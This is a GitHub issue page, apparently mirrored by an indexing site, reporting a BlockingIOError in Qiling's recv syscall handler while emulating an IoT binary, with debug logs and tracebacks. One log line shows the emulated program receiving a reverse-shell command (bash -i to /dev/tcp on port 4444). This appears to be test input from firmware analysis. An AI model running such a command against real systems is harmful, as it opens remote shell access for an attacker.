qilingframework / qilingframework/qiling

recv syscall BlockingIOError: [Errno 11] Resource temporarily unavailable

Open
#1,373 4 comments 2 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Python
Stars
6.1k
Forks
798
Avg merge
1d 1h
Merged PRs (30d)
9

Description

*Describe the bug
This bug be report,when run qiling?
It works fine when run with qemu-user-static.

[+] [Thread 2000]	b'<SYSTEM>bash -i >& /dev/tcp/127.0.0.1/4444 0>&1</SYSTEM>'
[+] [Thread 2000]	0x90064488: recv(sockfd = 0x5, buf = 0x7ff3c918, length = 0x400, flags = 0x0) = 0x38
[+] [Thread 2000]	Received interrupt: 0x2
[x] [Thread 2000]	Syscall ERROR: ql_syscall_recv DEBUG: [Errno 11] Resource temporarily unavailable
Traceback (most recent call last):
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 374, in load_syscall
    retval = syscall_hook(self.ql, *params)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/syscall/socket.py", line 676, in ql_syscall_recv
    content = sock.recv(length, flags)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/filestruct.py", line 116, in recv
    return self.__socket.recv(bufsize, flags)
BlockingIOError: [Errno 11] Resource temporarily unavailable
[+] [Thread 2000]	[Thread Manager] Stop the world.
[+] [Thread 2000]	[Thread Manager] Thread IDs: {2000, 2001, 2002}
[+] [Thread 2000]	[Thread Manager] Thread IDs: {2000, 2002}
[+] [Thread 2000]	[Thread Manager] Thread IDs: {2000}
[+] [Thread 2000]	[Thread Manager] Thread IDs: set()
[+] [Thread 2000]	[Thread Manager] Stop the world.
Traceback (most recent call last):
  File "src/gevent/greenlet.py", line 908, in gevent._gevent_cgreenlet.Greenlet.run
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/linux/thread.py", line 242, in _run
    self.ql.emu_start(start_address, self.exit_point, count=31337)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core.py", line 775, in emu_start
    raise self.internal_exception
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core_hooks.py", line 127, in wrapper
    return callback(*args, **kwargs)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core_hooks.py", line 170, in _hook_intr_cb
    ret = hook.call(ql, intno)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core_hooks_types.py", line 25, in call
    return self.callback(ql, *args)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/linux/linux.py", line 138, in hook_syscall
    return self.load_syscall()
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 392, in load_syscall
    raise e
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 374, in load_syscall
    retval = syscall_hook(self.ql, *params)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/syscall/socket.py", line 676, in ql_syscall_recv
    content = sock.recv(length, flags)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/filestruct.py", line 116, in recv
    return self.__socket.recv(bufsize, flags)
BlockingIOError: [Errno 11] Resource temporarily unavailable
2023-08-15T00:41:26Z <QlLinuxARMThread at 0x7fc2d56efe00: _run> failed with BlockingIOError

[+] [Thread 2000]	Perform CLONE_CHILD_CLEARTID at 0x900aa538
[+] [Thread 2000]	No thread at 0x900aa538
[+] [Thread 2000]	Perform CLONE_CHILD_CLEARTID at 0x900ba538
[+] [Thread 2000]	No thread at 0x900ba538
Traceback (most recent call last):
  File "qilingstart.py", line 62, in <module>
    ql.run()
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core.py", line 595, in run
    self.os.run()
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/linux/linux.py", line 164, in run
    thread_management.run()
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/linux/thread.py", line 618, in run
    gevent.joinall([self.main_thread], raise_error=True)
  File "src/gevent/greenlet.py", line 1065, in gevent._gevent_cgreenlet.joinall
  File "src/gevent/greenlet.py", line 1081, in gevent._gevent_cgreenlet.joinall
  File "src/gevent/greenlet.py", line 373, in gevent._gevent_cgreenlet.Greenlet._raise_exception
  File "/home/tower/.local/lib/python3.8/site-packages/gevent/_compat.py", line 48, in reraise
    raise value.with_traceback(tb)
  File "src/gevent/greenlet.py", line 908, in gevent._gevent_cgreenlet.Greenlet.run
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/linux/thread.py", line 242, in _run
    self.ql.emu_start(start_address, self.exit_point, count=31337)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core.py", line 775, in emu_start
    raise self.internal_exception
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core_hooks.py", line 127, in wrapper
    return callback(*args, **kwargs)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core_hooks.py", line 170, in _hook_intr_cb
    ret = hook.call(ql, intno)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core_hooks_types.py", line 25, in call
    return self.callback(ql, *args)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/linux/linux.py", line 138, in hook_syscall
    return self.load_syscall()
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 392, in load_syscall
    raise e
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 374, in load_syscall
    retval = syscall_hook(self.ql, *params)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/syscall/socket.py", line 676, in ql_syscall_recv
    content = sock.recv(length, flags)
  File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/filestruct.py", line 116, in recv
    return self.__socket.recv(bufsize, flags)
BlockingIOError: [Errno 11] Resource temporarily unavailable

Sample Code

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Additional context
Here is the startup code

ql = Qiling(["./cpio-root/usr/bin/noodles","-d"], "cpio-root",profile='./linux.ql', verbose=QL_VERBOSE.DEBUG, console = True ,ostype=QL_OS.LINUX,multithread=True)

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with qiling/os/posix/syscall/socket.py at ql_syscall_recv and trace into qiling/os/posix/filestruct.py:116, using the provided Qiling startup code with multithreading. Reproduce the failure with the reported recv traceback and compare the emulated behavior with qemu-user-static. Done means the reported scenario no longer terminates with an uncaught BlockingIOError.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
reverse-engineering
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Stale
Clarity
Needs clarification
Newbie friendliness
28/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.